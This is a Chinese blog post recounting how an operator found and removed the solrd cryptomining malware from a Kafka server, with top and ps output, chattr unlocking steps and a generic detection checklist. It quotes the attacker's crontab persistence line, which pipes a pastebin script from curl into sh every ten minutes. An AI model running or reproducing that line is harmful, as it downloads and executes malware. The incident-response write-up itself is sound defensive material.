记录清除挖矿病毒 solrd 过程

1、发现solrd病毒

端午节期间,kafka 服务器被黑客攻击了,植入了挖矿病毒 solrd,这个病毒很聪明,内存,CPU并没有异常升高,以致于上班第一天完全没有察觉。
上班第一天 正常登录服务器查看 flink ,消费kafka 服务有没有 挂掉,习惯性的使用了jps 如下:

[root@linuxdevname1 ~]# jps
26770 -- process information unavailable
5220 -- process information unavailable
23686 -- process information unavailable
32711 -- process information unavailable
6855 -- process information unavailable
28425 -- process information unavailable
2746 -- process information unavailable
1212 -- process information unavailable
17213 -- process information unavailable
6127 -- process information unavailable

process information unavailable 这使我很郁闷,此时还没有察觉 到病毒导致的,于是百度了一下 这些关键字 网上的大神都是说 删除 tmp 目录下hsperfdata_* 文件夹 rm -rf /tmp/hsperfdata_*
在这里插入图片描述
跟着一顿操作猛如虎

[root@linuxdevname1 tmp]# rm -rf hsperfdata_*
[root@linuxdevname1 tmp]# jps
19249 Jps

删除完成发现 所有进程都不见了,此时吓懵了,因为是现网,产线还有很多消息正在往kafka里写数据,。定眼一看,内存和CPU并没有下降,所以我判断 kafka 进程并没有挂掉,只是jps 不显示 而已
然后立马top -c 了一下

[root@linuxdevname1 ~]# top -c
top - 14:10:57 up 691 days, 21:18,  2 users,  load average: 3.44, 2.83, 2.86
Tasks: 142 total,   3 running, 139 sleeping,   0 stopped,   0 zombie
%Cpu(s): 19.3 us, 33.2 sy,  0.0 ni, 47.2 id,  0.0 wa,  0.0 hi,  0.3 si,  0.0 st
KiB Mem : 16266156 total,   182660 free,  9594172 used,  6489324 buff/cache
KiB Swap:  1048572 total,   394220 free,   654352 used.  6326952 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                      
 8688 root      20   0 2441092   2.3g   2904 S   0.0 14.7   2112:12 /tmp/.solr/solrd                                                                                             
26770 root      20   0 5948868   1.3g   7444 S   2.0  8.2   7558:51 /usr/local/jdk1.8.0_121/bin/java -Xmx1G -Xms1G -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:InitiatingH+ 
32711 root      20   0 5047692   1.2g  27912 S   1.0  8.0  55:51.95 /usr/local/jdk1.8.0_121/bin/java -Xmx1073741824 -Xms1073741824 -XX:MaxMetaspaceSize=268435456 -Dlog.file=/o+ 
 1212 root      20   0 4339052 795856  22812 S   1.0  4.9  55:10.81 /usr/local/jdk1.8.0_121/bin/java -XX:+UseG1GC -Xmx536870902 -Xms536870902 -XX:MaxDirectMemorySize=268435458+ 
23686 root      20   0 4350936 724604  17792 S   0.0  4.5 684:53.55 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/day-log-dinc/prod/xc-streamservice-log-school-di-1+ 
28425 root      20   0 4341528 669972  18080 S   0.7  4.1 396:46.52 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/log-active-user-dinc/prod/xc-streamservice-school-+ 
17213 root      20   0 4284844 639256  18060 S   0.3  3.9 671:41.14 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/day-login-dinc/prod/xc-streamservice-log-school-lo+ 
 6127 root      20   0 4735288 491552  11144 S   1.3  3.0 847:48.62 java -Xms512m -Xmx1024m -jar /xckj/bigdata/logservice/log-service-xc-2.0.0.jar                               
 2746 root      20   0 7858880 430304   4440 S   0.7  2.6   3546:17 java -jar /usr/local/eduman/eduman-register/eduman-register.jar                                              
 6855 root      20   0 3858544 382308   5176 S   0.3  2.4   1106:22 /usr/local/jdk1.8.0_121/bin/java -Xmx512M -Xms512M -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:Initiat+ 
20686 root      10 -10  179020  48100   6488 R   9.0  0.3   2385:33 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDunMonitor                                                   
15682 root      20   0   88564  39268  39052 S   0.7  0.2   8:49.44 /usr/lib/systemd/systemd-journald                                                                            
  882 root      20   0  734548  31488  28236 S   0.3  0.2  61:41.73 /usr/sbin/rsyslogd -n                                                                                        
20675 root      10 -10  115704   9468   4832 S   0.7  0.1 493:20.19 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDun                                                          
 6117 root      20   0  158048   6404   4656 S   0.7  0.0   0:00.83 sshd: root@pts/0,pts/3                                                                                       
 6556 root      20   0  118312   4804   1728 S   0.0  0.0   0:00.04 -bash                                                                                                        
 6186 root      20   0  118312   4764   1688 S   0.0  0.0   0:00.04 -bash                                                                                                        
 6809 root      10 -10   62140   4516   3080 S   0.0  0.0 102:09.96 /usr/local/aegis/aegis_update/AliYunDunUpdate                                                                
19053 root      20   0  118252   4448   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
  874 root      20   0  574284   4316    232 S   0.0  0.0 106:25.59 /usr/bin/python2 -Es /usr/sbin/tuned -l -P                                                                   
 5822 postfix   20   0   91968   4164   3144 S   0.0  0.0   0:00.09 pickup -l -t unix -u                                                                                         
19176 root      20   0  118252   3736    528 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19163 root      20   0  118252   3688    520 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19157 root      20   0  118252   3628    508 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19175 root      20   0  118252   3588    408 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19160 root      20   0  118252   3472    348 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19164 root      20   0  118252   3316    192 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
    1 root      20   0  125696   3176   1716 S   0.0  0.0 173:43.90 /usr/lib/systemd/systemd --switched-root --system --deserialize 22                                           
 8464 root      20   0  162860   3112   1592 S   0.0  0.0   0:00.25 top                                                                                                          
 2342 root      20   0  163136   2968   1260 S   0.0  0.0   0:20.24 top  

此时看到消费kafka 服务都还在,没有注意到第一行的 /tmp/.solr/solrd 病毒,此时它还没有占用多少CPU跟内存。没有太在意它

就在今天 查看某一个定时任务为什么没有执行的时候 发现 crontab 里面的定时任务被删除了,莫名其妙的多了一个不认识的定时调度任务 访问一个地址

[root@linuxdevname1 ~]# crontab -e
*/10 * * * * curl -fsSL https://pastebin.com/raw/xg546sAd | sh

瞬时意识到 服务器被攻击了,立马注释 crontab 这条记录保存的时候发现 保持不了

[root@linuxdevname1 tmp]# crontab -e
crontab: installing new crontab
crontab: error renaming /var/spool/cron/#tmp.linuxdevname1.XXXXx0RbdC to /var/spool/cron/root
rename: 不允许的操作
crontab: edits left in /tmp/crontab.5Oev80

于是乎继续百度 发现是 /var/spool/cron 文件夹下的 root 文件被锁了 ,于是使用
chattr -a /etc/crontab
chattr -i /etc/crontab
解锁

[root@linuxdevname1 cron]# lsattr /var/spool/cron/
-----ia-------e-- /var/spool/cron/root
[root@linuxdevname1 cron]# chattr -i /var/spool/cron/
[root@linuxdevname1 cron]# chattr -a /var/spool/cron/

再次查看 
[root@linuxdevname1 cron]# lsattr /var/spool/cron/
------------e-- /var/spool/cron/root

解锁完成后发现hosts 也被锁住了,里面的内容也被删除了,于是使用相同的办法解锁

解锁完成后,再编辑 crontab 终于可以修改保存了。

突然间发现内存和CPU异常升高,CPU 100%
使用top -c 命令 此时发现了CPU 118% 病毒 solrd (你小子隐藏的挺深啊,昨天都没在意你)

[root@linuxdevname1 ~]# top -c
top - 14:05:26 up 692 days, 21:13, 14 users,  load average: 23.88, 19.97, 18.49
Tasks: 328 total,  25 running, 296 sleeping,   0 stopped,   7 zombie
%Cpu(s): 57.2 us, 42.6 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.2 si,  0.0 st
KiB Mem : 16266156 total,  3311844 free,  6375112 used,  6579200 buff/cache
KiB Swap:  1048572 total,   394232 free,   654340 used.  9545852 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                      
29242 root      20   0 2434376   1.4g   2784 S 118.0  8.8   0:35.39 /tmp/.solr/solrd                                                                                             
20686 root      10 -10  180048  49084   6444 R   8.8  0.3   2514:18 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDunMonitor                                                   
 1212 root      20   0 4339052 795680  22724 S   1.0  4.9  68:28.88 /usr/local/jdk1.8.0_121/bin/java -XX:+UseG1GC -Xmx536870902 -Xms536870902 -XX:MaxDirectMemorySize=268435458+ 
 1830 root      20   0  118252   4456   1348 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex |grep -E "724|29816|29925|31751|725|904|1076|29627|29922|29931|29942|30738|31744+ 
 1833 root      20   0  118252   4456   1348 S   1.0  0.0   0:00.03 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
 2548 root      20   0  118248   4452   1348 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex                                                                                   
 2932 root      20   0  118248   4464   1348 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex                                                                                   
 3458 root      20   0  158052   6540   4752 S   1.0  0.0   0:59.78 sshd: root@pts/14,pts/15                                                                                     
 3519 root      20   0  118248   4292   1348 S   1.0  0.0   0:00.03 bash -c ls --color=never -l /proc/*/exe                                                                      
 3583 root      20   0  117720   4012   1344 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex                                                                                   
 8059 root      20   0  163300   3372   1608 S   1.0  0.0   0:45.08 top                                                                                                          
23015 root      20   0  159012   7492   4656 S   1.0  0.0   1:57.77 sshd: root@pts/0,pts/3                                                                                       
26770 root      20   0 5948868   1.3g   7560 S   1.0  8.2   7576:11 /usr/local/jdk1.8.0_121/bin/java -Xmx1G -Xms1G -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:InitiatingH+ 
31668 root      20   0  163412   3468   1608 R   1.0  0.0   0:44.29 top                                                                                                          
32711 root      20   0 5012824   1.2g  27848 S   1.0  7.9  89:48.80 /usr/local/jdk1.8.0_121/bin/java -Xmx1073741824 -Xms1073741824 -XX:MaxMetaspaceSize=268435456 -Dlog.file=/o+ 
 1597 root      20   0  118252   4460   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
 1713 root      20   0  158048   6536   4752 S   0.7  0.0   1:02.47 sshd: root@pts/10,pts/11                                                                                     
 1818 root      20   0  118248   4464   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      
 1831 root      20   0  118252   4460   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|29816|29925|31751|725|904|1076|29627|29922|29931|29942|30738|31744+ 
 1832 root      20   0  118248   4468   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      
 2229 root      20   0  118248   4468   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   
 2724 root      20   0  118252   4460   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
 3517 root      20   0  118252   4456   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|31751|725|904|1076|1597|1818|1830|1831|1832|1833|2229|2474|2548|31+ 
 3693 root      20   0  118252   4448   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
 3741 root      20   0  118248   4292   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      
 3743 root      20   0  118252   4452   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|31999|904|1597|1818|1830|1831|1832|1833|2229|2548|2724|29+ 
 4434 root      20   0  117724   4044   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|1833|3583|904|1597|1818|1830|1831|1832|2229|2548|2724|293+ 
 4435 root      20   0  117720   4040   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      
 4802 root      20   0  117720   4016   1344 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   
 4852 root      20   0  117724   4040   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
 4885 root      20   0  158272   6844   4752 S   0.7  0.0   1:13.79 sshd: root@pts/4,pts/5                                                                                       
 4933 root      20   0  117720   4012   1344 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|1833|3583|8059|23015|904|1597|1818|1830|1831|COMMAND"      
 4936 root      20   0  117720   4012   1344 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      
 5042 root      20   0  117720   4016   1344 R   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   
 5055 root      20   0  116532   2696   1340 R   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   
 8947 root      20   0  163296   3532   1608 S   0.7  0.0   0:39.86 top                                                                                                          
13023 root      20   0  162412   2624   1680 R   0.7  0.0   0:00.15 top -c                                                                                                       
16498 root      20   0  163300   3448   1608 S   0.7  0.0   0:38.02 top                                                                                                          
17791 root      20   0  158056   6544   4752 S   0.7  0.0   1:08.38 sshd: root@pts/8,pts/9 

于是乎,立马进行kill

[root@linuxdevname1 ~]# kill -9 29242
[root@linuxdevname1 ~]# ps -ef | grep solrd
root     13425  8575 99 14:06 ?        00:00:56 /tmp/.solr/solrd
root     18684 23073  0 14:07 pts/0    00:00:00 grep --color=auto solrd

刚kill 完成 再次top -c 发现这个病毒有换了一个进程的id 又起来了,试了几次都没用,于是 查到病毒执行的文件夹

[root@linuxdevname1 ~]# ps -ef | grep solrd
root     13425  8575 99 14:06 ?        00:00:56 /tmp/.solr/solrd
root     18684 23073  0 14:07 pts/0    00:00:00 grep --color=auto solrd

找到目录后,直接删除 rm -rf /tmp/.solr/solrd
然后 再kill 掉solrd 进程发现solrd 病毒 没有再起来了
CPU 内存对应的降到正常情况。
于是紧急关闭了阿里云出入防火墙其他不用的端口。

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
服务器挖矿病毒是指黑客通过入侵服务器,利用服务器的计算资源进行加密货币挖矿。这种病毒的存在会导致服务器性能下降,甚至导致服务器崩溃。以下是排查服务器挖矿病毒过程。 1. 检查CPU和内存使用率 服务器挖矿病毒会占用服务器的大量计算资源,导致CPU和内存使用率异常升高。通过检查系统监视器或者运行top命令,可以查看当前的CPU和内存使用率,如果发现异常升高,则很可能是服务器挖矿病毒导致的。 2. 检查网络流量 服务器挖矿病毒需要与矿池进行通信,因此会产生大量的网络流量。通过检查网络监视器或者运行iftop命令,可以查看当前的网络流量,如果发现异常升高,则很可能是服务器挖矿病毒导致的。 3. 检查进程列表 服务器挖矿病毒会在服务器上运行挖矿程序,因此会在进程列表中留下痕迹。通过运行ps命令,可以查看当前的进程列表,如果发现有可疑的进程,则很可能是服务器挖矿病毒导致的。 4. 检查系统日志 服务器挖矿病毒会在服务器上留下痕迹,因此可以通过检查系统日志来发现异常行为。通过查看/var/log/auth.log、/var/log/syslog等系统日志文件,可以查找异常登录或者异常命令执行的记录,如果发现可疑行为,则很可能是服务器挖矿病毒导致的。 5. 检查防火墙日志 服务器挖矿病毒需要与矿池进行通信,因此需要打开服务器的防火墙端口。通过检查防火墙日志,可以查看服务器上的网络连接情况,如果发现与矿池的连接,则很可能是服务器挖矿病毒导致的。 以上是排查服务器挖矿病毒的基本过程,如果发现服务器确实感染了挖矿病毒,则需要及时采取措施清除病毒,并加强服务器的安全防护措施,避免类似的攻击再次发生。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值